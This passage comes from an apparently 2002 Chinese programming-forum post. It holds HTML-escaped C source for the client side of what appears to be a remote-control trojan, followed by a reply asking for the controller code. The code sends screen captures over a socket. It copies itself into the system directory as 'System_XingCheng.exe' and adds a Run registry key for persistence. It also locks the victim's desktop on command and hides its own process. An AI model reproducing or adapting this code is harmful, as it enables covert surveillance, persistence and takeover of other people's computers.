Size<BR>&nbsp;&nbsp;&nbsp;&nbsp;send(NewSock,(char*)&amp;bitSize,sizeof(bitSize)+1,MSG_OOB);<BR>&nbsp;&nbsp;&nbsp;&nbsp;recv(NewSock,(char*)&amp;BitMsg,sizeof(BitMsg)+1,0);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Send Bit<BR>&nbsp;&nbsp;&nbsp;&nbsp;plmagePoint = (LPBYTE)hDib;<BR>&nbsp;&nbsp;&nbsp;&nbsp;for(WORD i=0;i&lt;bitSize/US_MAXSIZE;i++)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(NewSock,(char*)plmagePoint,sizeof(BYTE)*US_MAXSIZE,MSG_OOB);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;plmagePoint = plmagePoint + US_MAXSIZE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;recv(NewSock,(char*)&amp;BitMsg,sizeof(BitMsg)+1,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (bitSize%US_MAXSIZE)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;send(NewSock,(char*)plmagePoint,sizeof(BYTE)*GlobalSize(hDib)%US_MAXSIZE,MSG_OOB);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;recv(NewSock,(char*)&amp;BitMsg,sizeof(BitMsg)+1,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Release bit<BR>&nbsp;&nbsp;&nbsp;&nbsp;DeleteObject(hBit);<BR>&nbsp;&nbsp;&nbsp;&nbsp;GlobalFree(hDib);<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: DDBtoDIB()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: HANDLE<BR>///////////////////////////////////////////////////////////////////<BR><BR>HANDLE DDBtoDIB( HBITMAP bitmap) <BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Define Variable<BR>&nbsp;&nbsp;&nbsp;&nbsp;BITMAP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bm;<BR>&nbsp;&nbsp;&nbsp;&nbsp;BITMAPINFOHEADER&nbsp;&nbsp;&nbsp;&nbsp;bi;<BR>&nbsp;&nbsp;&nbsp;&nbsp;LPBITMAPINFOHEADER&nbsp;&nbsp;&nbsp;&nbsp; lpbi;<BR>&nbsp;&nbsp;&nbsp;&nbsp;DWORD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dwLen;<BR>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hDib;<BR>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;handle;<BR>&nbsp;&nbsp;&nbsp;&nbsp;HDC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hdc;<BR>&nbsp;&nbsp;&nbsp;&nbsp;HPALETTE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hPal;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;hPal = (HPALETTE) GetStockObject(DEFAULT_PALETTE );<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// get bitmap information<BR>&nbsp;&nbsp;&nbsp;&nbsp;GetObject(bitmap,sizeof(bm),(LPSTR)&amp;bm);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// initialize the bitmapinfoheader<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biSize&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= sizeof(BITMAPINFOHEADER);<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biWidth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= bm.bmWidth;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biHeight&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = bm.bmHeight;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biPlanes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; = 1;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//bi.biBitCount&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= bm.bmPlanes * bm.bmBitsPixel;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biBitCount&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 4;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biCompression&nbsp;&nbsp;&nbsp;&nbsp;= BI_RGB;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biSizeImage&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biXPelsPerMeter&nbsp;&nbsp;&nbsp;&nbsp;= 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biYPelsPerMeter&nbsp;&nbsp;&nbsp;&nbsp;= 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biClrUsed&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;bi.biClrImportant&nbsp;&nbsp;&nbsp;&nbsp;= 0;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// compute the size of the&nbsp;&nbsp;infoheader and the color table<BR>&nbsp;&nbsp;&nbsp;&nbsp;int ncolors = (1 &lt;&lt; bi.biBitCount); <BR>&nbsp;&nbsp;&nbsp;&nbsp;if( ncolors&gt; 256 ) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ncolors = 0;<BR>&nbsp;&nbsp;&nbsp;&nbsp;dwLen&nbsp;&nbsp;= bi.biSize + ncolors * sizeof(RGBQUAD);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// we need a device context to get the dib from<BR>&nbsp;&nbsp;&nbsp;&nbsp;hdc = GetDC(NULL);<BR>&nbsp;&nbsp;&nbsp;&nbsp;hPal = SelectPalette(hdc,hPal,FALSE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;RealizePalette(hdc);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// allocate enough memory to hold bitmapinfoheader and color table<BR>&nbsp;&nbsp;&nbsp;&nbsp;hDib = GlobalAlloc(GMEM_FIXED,dwLen);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;if (!hDib){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SelectPalette(hdc,hPal,FALSE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReleaseDC(NULL,hdc);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return NULL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;lpbi = (LPBITMAPINFOHEADER)hDib;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;*lpbi = bi;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// call getdibits with a NULL lpbits param, so the device driver <BR>&nbsp;&nbsp;&nbsp;&nbsp;// will calculate the bisizeimage field <BR>&nbsp;&nbsp;&nbsp;&nbsp;GetDIBits(hdc, bitmap, 0L, (DWORD)bi.biHeight,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(LPBYTE)NULL, (LPBITMAPINFO)lpbi, (DWORD)DIB_RGB_COLORS );<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;bi = *lpbi;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// if the driver did not fill in the bisizeimage field, then compute it<BR>&nbsp;&nbsp;&nbsp;&nbsp;// each scan line of the image is aligned on a dword (32bit) boundary<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (bi.biSizeImage == 0)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bi.biSizeImage = ((((bi.biWidth * bi.biBitCount) + 31) &amp; ~31) / 8) <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;* bi.biHeight;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// realloc the buffer so that it can hold all the bits<BR>&nbsp;&nbsp;&nbsp;&nbsp;dwLen += bi.biSizeImage;<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (handle = GlobalReAlloc(hDib, dwLen, GMEM_MOVEABLE))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hDib = handle;<BR>&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GlobalFree(hDib);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// reselect the original palette<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SelectPalette(hdc,hPal,FALSE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReleaseDC(NULL,hdc);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return NULL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// get the bitmap bits<BR>&nbsp;&nbsp;&nbsp;&nbsp;lpbi = (LPBITMAPINFOHEADER)hDib;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;// finally get the dib<BR>&nbsp;&nbsp;&nbsp;&nbsp;BOOL bgotbits = GetDIBits( hdc, bitmap,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0L,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// start scan line<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(DWORD)bi.biHeight,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// # of scan lines<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(LPBYTE)lpbi&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // address for bitmap bits<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+ (bi.biSize + ncolors * sizeof(RGBQUAD)),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(LPBITMAPINFO)lpbi,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// address of bitmapinfo<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(DWORD)DIB_RGB_COLORS);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// use rgb for color table<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;if( !bgotbits )<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GlobalFree(hDib);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SelectPalette(hdc,hPal,FALSE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ReleaseDC(NULL,hdc);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return NULL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;SelectPalette(hdc,hPal,FALSE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;ReleaseDC(NULL,hdc);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;return hDib;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: Register()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: BOOL<BR>///////////////////////////////////////////////////////////////////<BR><BR>BOOL Register()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Define Varible<BR>&nbsp;&nbsp;&nbsp;&nbsp;HKEY&nbsp;&nbsp;hKEY;<BR>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;CurrentPath[MAX_PATH];<BR>&nbsp;&nbsp;&nbsp;&nbsp;char&nbsp;&nbsp;SysPath[MAX_PATH];<BR>&nbsp;&nbsp;&nbsp;&nbsp;long&nbsp;&nbsp;ret;<BR>&nbsp;&nbsp;&nbsp;&nbsp;LPSTR FileNewName;<BR>&nbsp;&nbsp;&nbsp;&nbsp;LPSTR FileCurrentName;<BR>&nbsp;&nbsp;&nbsp;&nbsp;DWORD type=REG_SZ;<BR>&nbsp;&nbsp;&nbsp;&nbsp;DWORD size=MAX_PATH;<BR>&nbsp;&nbsp;&nbsp;&nbsp;LPCTSTR Rgspath="Software\\Microsoft\\Windows\\CurrentVersion\\Run" ;<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Get System Path<BR>&nbsp;&nbsp;&nbsp;&nbsp;GetSystemDirectory(SysPath,size);<BR>&nbsp;&nbsp;&nbsp;&nbsp;GetModuleFileName(NULL,CurrentPath,size);<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//Copy File<BR>&nbsp;&nbsp;&nbsp;&nbsp;FileCurrentName = CurrentPath;<BR>&nbsp;&nbsp;&nbsp;&nbsp;FileNewName = lstrcat(SysPath,"\\System_XingCheng.exe");<BR>&nbsp;&nbsp;&nbsp;&nbsp;ret = CopyFile(FileCurrentName,FileNewName,TRUE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (!ret)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Open key<BR>&nbsp;&nbsp;&nbsp;&nbsp;ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,Rgspath,0,KEY_WRITE, &amp;hKEY);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(ret!=ERROR_SUCCESS)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(hKEY);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;//Set Key<BR>&nbsp;&nbsp;&nbsp;&nbsp;ret=RegSetValueEx(hKEY,"System_XingCheng",NULL,type,(const unsigned char*)FileNewName,size);<BR>&nbsp;&nbsp;&nbsp;&nbsp;if(ret!=ERROR_SUCCESS)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{ <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(hKEY);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegCloseKey(hKEY);<BR><BR>&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: SysEvent()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: POINT point<BR>///////////////////////////////////////////////////////////////////<BR><BR>void SysEvent(int Msg)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;switch (Msg)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_LOCK:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LockFlag = TRUE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShowCursor(FALSE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lock(TRUE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case US_UNLOCK:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LockFlag = FALSE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ShowCursor(TRUE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Lock(FALSE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: Lock()<BR>// Parameter : BOOL bFALG<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: NULL<BR>///////////////////////////////////////////////////////////////////<BR><BR>void Lock(BOOL bFALG)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (bFALG)<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, NULL,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EnableWindow(GetDesktopWindow(),FALSE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;else<BR>&nbsp;&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, NULL,0);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;EnableWindow(GetDesktopWindow(),TRUE);<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}<BR><BR><BR>///////////////////////////////////////////////////////////////////<BR>// Name&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;: HideProcess()<BR>// Parameter : NULL<BR>// Return&nbsp;&nbsp;&nbsp;&nbsp;: NULL<BR>///////////////////////////////////////////////////////////////////<BR>void HideProcess()<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;HINSTANCE hInst = LoadLibrary("KERNEL32.DLL"); <BR>&nbsp;&nbsp;&nbsp;&nbsp;if(hInst) <BR>&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;typedef DWORD (WINAPI *MYFUNC)(DWORD,DWORD);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MYFUNC RegisterServiceProcessFun = NULL;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegisterServiceProcessFun = (MYFUNC)GetProcAddress(hInst, "RegisterServiceProcess");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(RegisterServiceProcessFun)&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RegisterServiceProcessFun(GetCurrentProcessId(),1);&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeLibrary(hInst); <BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}
<br>
<a href="javascript:history.go(-1)">返回上页</a><br><a href=http://www.copathway.com/cndevforum/>访问论坛</a></p></blockquote>
<hr size=1>
<blockquote><p>
回复者:阿蝌 回复日期:2002-11-30 19:03:03
<br>内容:能不能把控制端的代码也贴上来?
<br>
<a href="javascript:history.go(-1)">返回上页</a><br><a href=http://www.copathway.com/cndevforum/>访问论坛</a></p></blockquote>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -